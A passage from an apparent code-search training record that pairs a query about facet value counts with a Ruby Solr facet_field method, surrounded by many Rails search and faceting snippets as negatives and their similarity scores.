|inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:license_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:funder_codes).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:funder_codes).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:funder_codes).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n @report = Indexable.citation_report(@search, request.original_url, current_user)\n\n if params.has_key?('download') && params['download'] == 'now'\n send_data @report, :filename => 'report.txt'\n end\n\n end", "def get_facet_pagination(facet_field, query_type=nil)\n query_type ||= Blacklight.config[:default_qt]\n mapper = RSolr::Ext::Request::Standard.new\n limit = (params[:limit] || 6)\n solr_params = mapper.map({\n :qt => query_type,\n :q => params[:q],\n :phrase_filters => params[:f],\n :facet => true,\n 'facet.offset' => params[:offset],\n 'facet.limit' => limit\n })\n raw_response = Blacklight.solr.select(solr_params)\n response = RSolr::Ext::Response::Standard.new(raw_response)\n Blacklight::FacetPagination.new(response.facets.first.items, params[:offset], limit)\n end", "def index\n @datasets = Dataset.where(publication_state: [Databank::PublicationState::RELEASED, Databank::PublicationState::Embargo::FILE, Databank::PublicationState::TempSuppress::FILE, Databank::PublicationState::PermSuppress::FILE]).where(is_test: false) # used for json response\n\n @my_datasets_count = 0\n\n @search = nil\n search_get_facets = nil\n\n per_page = if params.has_key?(:per_page)\n params[:per_page].to_i\n else\n 25\n end\n\n if current_user&.role\n\n case current_user.role\n when \"admin\"\n\n search_get_facets = Dataset.search do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n without(:depositor, \"error\")\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?(\"visibility_codes\")\n any_of do\n params[\"visibility_codes\"].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n keywords(params[:q])\n\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are only for admins\n\n search_get_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:depositor).rows.each do |outer_row|\n has_this_row = false\n\n @search.facet(:depositor).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:depositor).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n when \"depositor\"\n\n current_netid = current_user.email.split(\"@\").first\n\n search_get_my_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n end\n with(:is_most_recent_version, true)\n with :is_test, false\n any_of do\n with :publication_state, Databank::PublicationState::DRAFT\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n keywords(params[:q])\n facet(:visibility_code)\n end\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_test, false)\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n all_of do\n with :depositor_email, current_user.email\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with :is_test, false\n any_of do\n with :depositor_email, current_user.email\n with :internal_view_netids, current_netid\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?(\"editor\")\n any_of do\n with :internal_editor_netids, params[\"editor\"]\n with :depositor_netid, params[\"editor\"]\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?(\"visibility_codes\")\n any_of do\n params[\"visibility_codes\"].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n # this gets all categories for facets, even if current results do not have any instances\n\n search_get_my_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_test, false)\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?(\"depositors\")\n any_of do\n params[\"depositors\"].each do |depositor|\n with :depositor, depositor\n end\n end\n end\n\n if params.has_key?(\"subjects\")\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n end\n\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n end\n\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:creator_names)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n all_of do\n without(:depositor, \"error\")\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?(\"license_codes\")\n any_of do\n params[\"license_codes\"].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?(\"publication_years\")\n any_of do\n params[\"publication_years\"].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?(\"subjects\") && !params[\"subjects\"].nil?\n any_of do\n params[\"subjects\"].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?(\"funder_codes\")\n any_of do\n params[\"funder_codes\"].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords(params[:q])\n if params.has_key?(\"sort_by\")\n case params[\"sort_by\"]\n when \"sort_updated_asc\"\n order_by :updated_at, :asc\n when \"sort_released_asc\"\n order_by :release_datetime, :asc\n when \"sort_released_desc\"\n order_by :release_datetime, :desc\n when \"sort_ingested_asc\"\n order_by :ingest_datetime, :asc\n when \"sort_ingested_desc\"\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n end\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are in all searchers\n\n search_get_facets.facet(:subject_text).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:subject_text).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:subject_text).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:publication_year).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:publication_year).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:publication_year).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:license_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:license_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:license_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:funder_codes).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:funder_codes).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:funder_codes).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n @report = Dataset.citation_report(@search, request.original_url, current_user)\n\n send_data @report, filename: \"report.txt\" if params.has_key?(\"download\") && params[\"download\"] == \"now\"\n end", "def query_has_facetfilters?(localized_params = params)\n (generate_next_url.scan(\"facetfilter[]=\").length > 0) or (generate_next_url.scan(\"limiter[]=\").length > 0)\n end", "def all\n @@wheres\n end", "def facet_display_order\n priority_facets = (params[:facets]&.keys || []) + (params[:ranges]&.keys || [])\n return priority_facets unless @search_models.include? Item\n\n priority_facets + [Item.solr_exporter_class.solr_name_for(:all_contributors, role: :facet),\n Item.solr_exporter_class.solr_name_for(:all_subjects, role: :facet)]\n end", "def all_gtm_iquery_statistics\n super\n end", "def render_facet_partials fields = facet_field_names, options = {}\n safe_join(facets_from_request(fields).map do |display_facet|\n render_facet_limit(display_facet, options)\n end.compact, \"\\n\")\n end", "def facet_field_names_for_advanced_search\n @facet_field_names_for_advanced_search ||=\n blacklight_config.facet_fields.reject { |_key, field_def|\n field_def.include_in_advanced_search.is_a?(FalseClass)\n }.values.map(&:field)\n end", "def facet_description\n %{ in facet \"#{@field}\"}\n end", "def all\n where\n end", "def results\n Rails.logger.debug(\"Sphinxsearchlogic: #{klass.to_s}.search('#{all}', #{search_options.inspect})\")\n if scopes.empty?\n klass.search(all, search_options)\n else\n cloned_scopes = scopes.clone # Clone scopes since we're deleting form the hash.\n # Get the first scope and call all others on this one..\n first_scope = cloned_scopes.keys.first\n first_args = cloned_scopes.delete(first_scope)\n result = klass.send(first_scope, first_args)\n # Call remaining scopes on this scope.\n cloned_scopes.each do |scope, args|\n result = result.send(scope, args)\n end\n result.search(all, search_options)\n end\n end", "def index\n @queries = Array.new\n Query.all.each do |query|\n if query.user_id == current_user.id\n @queries << query\n end\n end\n @endpoints = Set.new\n @queries.each do |query|\n @endpoints << query.endpoint\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @queries }\n end\n end", "def geographic_facet\n geographic_search.map { |val| val.sub(/[\\\\,;]$/, '').strip } if geographic_search\n end", "def index\n\t\tquery = params[:query].presence || '*'\n @materials = Material.search query, aggs: [:section, :cat_1, :cat_2, :cat_3]\n @companies = @materials.map(&:companies).flatten.uniq\n\t\t@aggs = @materials.aggs\n\n\t\t# Needs to be refactored\n\t\tif @companies.map(&:name).include? query\n\t\t\t@companies.each do |company|\n\t\t\t\tif company.name = query\n\t\t\t\t\t@companies = [company]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def date_facet_for(facet, params)\n data = @results.response.facets[facet[:name]]\n\n return if data.length == 0\n\n if data['terms']\n data = data['terms'].sort { |a, b| a['term'] <=> b['term'] }\n else\n data = data['entries'].sort { |a, b| a['time'] <=> b['time'] }\n end\n\n width = facet[:width] || '7em'\n\n inputs = %w(min max).map do |l|\n name = l + facet[:name]\n htmlclass = ''\n htmlclass = 'pseudo-disabled' unless params[:q][name].present?\n text = text_field_tag(\"q[#{name}]\", params[:q][name], style: \"width:#{width}\" , class: htmlclass)\n\n content_tag(:span,\n content_tag(:span,\n text,\n class: 'controls'), class: 'control-group')\n end.join('-')\n\n tag = facet[:name]\n js_data = data.to_json.html_safe\n granularity = 1\n interval = facet[:interval] || 0\n\n func_body = \"facetSlider(\\\"#{tag}\\\",#{js_data},#{granularity}, #{interval})\"\n\n js_string = \"$(function() { #{func_body} })\"\n\n (inputs +\n tag(:br) +\n content_tag(:div, nil, id: \"#{facet[:name]}-histogram\", class: 'sparkline') +\n content_tag(:div, nil, id: \"slider-#{facet[:name]}\") +\n content_tag(:script, js_string.html_safe\n )\n ).html_safe\n end", "def facet_pivot_aggregations\n facet_pivot.each_with_object({}) do |(field_name, values), hash|\n next unless blacklight_config and !blacklight_config.facet_fields[field_name]\n\n items = values.map do |lst|\n construct_pivot_field(lst)\n end\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.pivot and v.pivot.join(\",\") == field_name }.each do |key, _|\n hash[key] = Blacklight::Solr::Response::Facets::FacetField.new key, items\n end\n end\n end", "def get_filter_values\n facet_filters.map { |facet_data| facet_data.split(':').last.split(',')}.flatten\n end", "def index\n @cables = Cable\n .search(params[:search])\n .order(sort_column + ' ' + sort_direction)\n .where(sort_facet)\n \n @facets = FacetProc.calculate(@cables) do |column_relevancy|\n column_relevancy[:type] = 1\n end\n \n @cables = @cables.paginate(per_page: 25, page: params[:page])\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cables }\n end\n end", "def process_facets\n public_plans_params.fetch(:facet, {})\n end", "def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end", "def index\n # @search = Article.search do\n # fulltext params[:search]\n # # with(:published_at).less_than(Time.zone.now)\n # # facet(:publish_month)\n # # with(:publish_month, params[:month]) if params[:month].present?\n # end\n # @articles = @search.results\n\n @articles = Article.all \n @sections = Section.all\n\nend", "def facets_of_filter_type(filter_type)\n return unless filter_class = available_filter_of_type(filter_type)\n proper_field = has_applied_filter_of_type?(filter_type) ? applied_filter_of_type(filter_type).field : filter_class.field\n self.facets.options.delete(:page)\n self.facets.options.delete(:per_page)\n self.facets[proper_field]\n end", "def all(per_page = 100)\n @search.per_page(per_page).fetch\n end", "def queries(with_orgs=true)\n condition_parts(with_orgs).reduce(:merge)\n end", "def format_facet_query_from_keyword(term_list = [])\n matching_facets = []\n sanitized_terms = filter_term_list(term_list)\n sanitized_terms.each do |term|\n facets = SearchFacet.find_facets_from_term(term)\n next if facets.empty?\n\n facets.each do |facet|\n # mock a faceted search match, appending in all possible filter matches\n filters = facet.find_filter_matches(term, filter_list: :filters_with_external).map do |t|\n [{ id: t, name: t }.with_indifferent_access]\n end.flatten\n match = {\n id: facet.identifier,\n filters: filters,\n db_facet: facet,\n keyword_conversion: true # mark this as a 'converted' facet to control whether showing facet match badges\n }.with_indifferent_access\n matching_facets << match unless matching_facets.include? match\n end\n end\n matching_facets\n end", "def facets(facet_counts, stats)\n return [] unless facet_counts['facet_fields']\n display_label_map = Hyacinth::DigitalObject::Facets.facet_display_label_map\n facet_page_size = Hyacinth::Config.digital_object_search_adapter.ui_config.facet_page_size\n\n facet_counts['facet_fields'].map do |facet_field, value_counts|\n has_more = !value_counts[2 * facet_page_size].nil?\n {\n field_name: facet_field,\n display_label: display_label_map[facet_field] || facet_field.split('_')[0...-1].map(&:titlecase).join(' '),\n values: facet_values_from_counts(value_counts, facet_page_size),\n total_count: stats.dig('stats_fields', facet_field, 'countDistinct').to_i,\n has_more: has_more\n }\n end\n end", "def all\n @filters\n end", "def all_data_criteria\n @data_criteria\n end", "def tracking_suggestions\n # temporarily removing solr for now - June 2012\n return [0, {}]\n \n facet_results_hsh = {:my_people_tracked_facet => [], :my_issues_tracked_facet => [], :my_bills_tracked_facet => []}\n my_trackers = 0\n\n begin\n users = User.find_by_solr('placeholder:placeholder', :facets => {:fields => [:my_people_tracked, :my_issues_tracked, :my_bills_tracked], :browse => [\"my_people_tracked:#{self.id}\"], :limit => 6, :zeros => false, :sort => true}, :limit => 1)\n rescue\n return [0, {}] unless Rails.env == 'production'\n raise\n end\n \n facets = users.facets\n facet_results_ff = facets['facet_fields']\n if facet_results_ff && facet_results_ff != []\n \n facet_results_ff.each do |fkey, fvalue|\n facet_results = facet_results_ff[fkey]\n \n #solr running through acts as returns as a Hash, or an array if running through tomcat...hence this stuffs\n facet_results_temp_hash = Hash[*facet_results] unless facet_results.class.to_s == \"Hash\"\n facet_results_temp_hash = facet_results if facet_results.class.to_s == \"Hash\"\n\n facet_results_temp_hash.each do |key,value|\n if key == self.id.to_s && fkey == \"my_people_tracked_facet\"\n my_trackers = value\n else\n unless facet_results_hsh[fkey.to_sym].length == 5\n object = Person.find_by_id(key) if fkey == \"my_people_tracked_facet\"\n object = Subject.find_by_id(key) if fkey == \"my_issues_tracked_facet\"\n object = Bill.find_by_ident(key) if fkey == \"my_bills_tracked_facet\"\n facet_results_hsh[fkey.to_sym] << {:object => object, :trackers => value}\n end\n end\n end\n end \n else\n return [my_trackers,{}]\n end\n \n unless facet_results_hsh.empty?\n #sort the hashes\n facet_results_hsh[:my_people_tracked_facet].sort!{|a,b| b[:trackers]<=>a[:trackers] }\n facet_results_hsh[:my_issues_tracked_facet].sort!{|a,b| b[:trackers]<=>a[:trackers] }\n facet_results_hsh[:my_bills_tracked_facet].sort!{|a,b| b[:trackers]<=>a[:trackers] }\n \n return [my_trackers, facet_results_hsh]\n else\n return [my_trackers,{}]\n end\n end", "def raw_all\n query_all\n end" ]
[ "0.7699961", "0.7699961", "0.72593987", "0.6977772", "0.6948198", "0.68664515", "0.68663245", "0.6819633", "0.6814148", "0.67839456", "0.6762405", "0.661558", "0.65688324", "0.64851075", "0.6433383", "0.6424039", "0.6422826", "0.6400028", "0.63898635", "0.6382945", "0.63328797", "0.6252255", "0.6247813", "0.6241817", "0.6233772", "0.6226934", "0.62179214", "0.62056494", "0.61867857", "0.61545515", "0.60910344", "0.6059572", "0.60561824", "0.604225", "0.60274875", "0.6012275", "0.59895116", "0.59859914", "0.5962552", "0.5940247", "0.59400755", "0.5917753", "0.5909796", "0.58999985", "0.5881818", "0.5874833", "0.5874833", "0.58705807", "0.58663195", "0.58618855", "0.58493036", "0.58422565", "0.5807686", "0.5798866", "0.57955", "0.5783131", "0.5746188", "0.5744766", "0.5743887", "0.5726028", "0.57255036", "0.57229435", "0.5715227", "0.5713213", "0.5712899", "0.56912696", "0.56903887", "0.568981", "0.56834227", "0.5674837", "0.567324", "0.5669664", "0.5664424", "0.56594425", "0.5640448", "0.56400895", "0.5629926", "0.5628897", "0.56243336", "0.56232643", "0.56218046", "0.56214875", "0.5615269", "0.56100065", "0.5609067", "0.560423", "0.5573564", "0.55729884", "0.55564916", "0.55502135", "0.55433446", "0.55289143", "0.5522071", "0.55214775", "0.5520257", "0.5516707", "0.5515305", "0.551517", "0.5506475", "0.55034864" ]
0.79379267
0
Returns an array of value/counts for a given field (ie: ['true', 123, 'false', 20]
def facet_field(field) facet_fields[field.to_s] || [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facet_field_values(field)\n facet_field_values ||= {}\n facet_field_values[field.to_s] ||= begin\n a = []\n facet_field(field).each_with_index do |val_or_count, i|\n a << val_or_count if i % 2 == 0 && facet_field(field)[i+1] > 0\n end\n a\n end\n end", "def facet_field_count(field, value)\n facet_fields_by_hash[field.to_s][value.to_s] if facet_fields_by_hash[field.to_s]\n end", "def extract_values(records, field)\n summarize_field(records, field).keys\nend", "def field_count(field)\n return 0 if /^(\\w+)s_versions/.match?(field.to_s)\n\n # constantize is safe here because `field` is not user input\n FIELD_QUERIES[field]&.count || field.to_s.classify.constantize.count\n end", "def summarize_field(records, field)\n extracted = Hash.new(0)\n records.each do |record|\n begin\n value = field.split(\".\").inject(record) { |hash, key| hash[key] }\n rescue\n value = 'no such field'\n end\n extracted[value] += 1\n end\n return extracted\nend", "def count_field_names\n count_fields.map(&:to_s)\n end", "def getfreqs\n @freqs = Hash.new\n @fieldvalues.each do |v|\n @freqs[v] = @db.execute(\"select count(*) from #{@tablename} where #{@fieldname} = '#{v}'\").to_s \n end\nend", "def value_count\n values.count\n end", "def load_field_counts(field, user_id = nil)\n count = \"*\"\n table = FIELD_TABLES[field] || field.to_s\n tables = \"#{table} t\"\n t_user_id = (table == \"users\" ? \"t.id \" : \"t.user_id \")\n conditions = t_user_id + (user_id ? \"= #{user_id}\" : \"> 0\")\n\n # Exception for species list entries.\n if field == :species_list_entries\n tables = \"species_lists t, #{table} os\"\n conditions += \" AND os.species_list_id = t.id\"\n end\n\n # Exception for past versions.\n if table =~ /^(\\w+)s_versions/\n parent = Regexp.last_match(1)\n count = \"DISTINCT #{parent}_id\"\n tables += \", #{parent}s p\"\n conditions += \" AND t.#{parent}_id = p.id\"\n conditions += \" AND #{t_user_id} != p.user_id\"\n end\n\n if (extra_conditions = FIELD_CONDITIONS[field])\n conditions += \" AND (#{extra_conditions})\"\n end\n\n query = %(\n SELECT COUNT(#{count}) AS cnt, #{t_user_id}\n FROM #{tables}\n WHERE #{conditions}\n GROUP BY #{t_user_id}\n ORDER BY cnt DESC\n )\n\n # Get data as:\n # data = [\n # [count, user_id],\n # [count, user_id],\n # ...\n # ]\n data = User.connection.select_rows(query)\n\n # Fill in @user_data structure.\n data.each do |cnt, usr_id|\n @user_data[usr_id.to_i] ||= {}\n @user_data[usr_id.to_i][field] = cnt.to_i\n end\n end", "def field_count fieldname\n case fieldname.downcase\n when /_tags$/\n tagtype = fieldname.sub /_tags$/, ''\n tagtype = ['Culinary Term', 'Untyped'] if tagtype == 'Other'\n visible_tags(:tagtype => tagtype).count\n when 'list', 'lists'\n ListServices.associated_lists(object).count # ListServices.find_by_listee(object).count\n end\n end", "def get_field_count\n\t\tend", "def collect_values_with_count\n\t\tvalues = Hash.new {|h,k| h[k]=0}\n\t\tself.class.ecore.eAllAttributes.each do |a|\n\t\t\tv = self.send(:\"#{a.name}\")\n\t\t\tif v!=nil\n\t\t\t\tif a.many\n\t\t\t\t\tv.each {|el| values[el]+=1}\n\t\t\t\telse\n\t\t\t\t\tvalues[v]+=1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tvalues\t\t\t\n\tend", "def get_occurrences\n occurrences = {}\n\n settings.fields.each do |field|\n occurrences[field] = get_occurrence(field, false)\n end\n\n occurrences\nend", "def counts\r\n @counts\r\n end", "def collect_facet_field_values(facet_field_results)\n results = {}\n facet_field_results.each do |facet_field, facet_counts|\n results[facet_field] = (0...facet_counts.length/2).map do |ix|\n { name: facet_counts[ix * 2], count: facet_counts[1 + ix * 2] }\n end\n end\n results\n end", "def reduce\n fn = \"function(k, v) { \"\n fn << \"var results = [#{([\"0\"] * (@fields.length + 1)).flatten.join(\", \")}]; \"\n fn << \"v.forEach(function(val) { \"\n fn << \"for(var i=0; i<= #{@fields.length}; i++) { \"\n fn << \"results[i] += (typeof val[i] == Boolean) ? (val[i] ? 1 : 0) : val[i] \"\n fn << \"} \"\n fn << \"}); \"\n fn << \"return results.toString(); \"\n fn << \"}\"\n end", "def count_value_frequency\n frequency = []\n @item.reviews.each do |review|\n review.properties.each do |k, v|\n frequency << k\n frequency << v\n end\n end\n frequency.each_slice(2).to_a\n end", "def count; @value.size; end", "def get_site_data\n ALL_FIELDS.index_with do |field|\n field_count(field)\n end\n end", "def value_counts\n values = @data.each_with_object(Hash.new(0)) do |d, memo|\n memo[d] += 1\n end\n\n Daru::Vector.new(values)\n end", "def field_to_array(field)\n final = []\n field.each do |value|\n final << value.to_s\n end\n final\n end", "def field_count\n @fields.size\n end", "def values_for_fields(fields)\n result = {}\n for f in fields\n result[f] = @times.map{|r| r[f] or raise \"Missing field: #{r}\"}\n end\n return result\n end", "def values\n fields.map { |f| f.value }\n end", "def count_unique_related fieldname\n return 0 if fieldname.to_s.empty? # No fieldname assigned\n return 0 unless response_set.data # No data in our dataset\n\n # Get data for fieldname\n field_data = @question.lime_data.responses_for(fieldname)\n # Get index of all values that are not empty\n idx = []\n @response_set.data.each_with_index{|val, i|idx.push(i) if val != ''}\n return 0 if idx.empty?\n # get only values in idx, count uniq\n return field_data.values_at(*idx).uniq.count\n end", "def values_for(attribute,options = {})\n find(:all,{:select => \"#{table_name}.#{attribute}, COUNT(#{table_name}.#{attribute}) as cnt\", :group => \"#{table_name}.#{attribute}\",:order => 'cnt DESC', :having => options[:min_count] ? \"cnt >= #{options[:min_count]}\" : nil}.merge(options.only(:conditions,:joins))).map{ |x| [x.read_attribute(attribute), x.cnt.to_i] }\n end", "def count_by column_name, field\n inc = increment_mask_for column_name, field\n only = only_mask_for column_name, field\n # Create super-special-bitfield-grouping-query w/ AREL\n sql = arel_table.\n project(\"count(#{primary_key}) as #{field}_count, (#{column_name} & 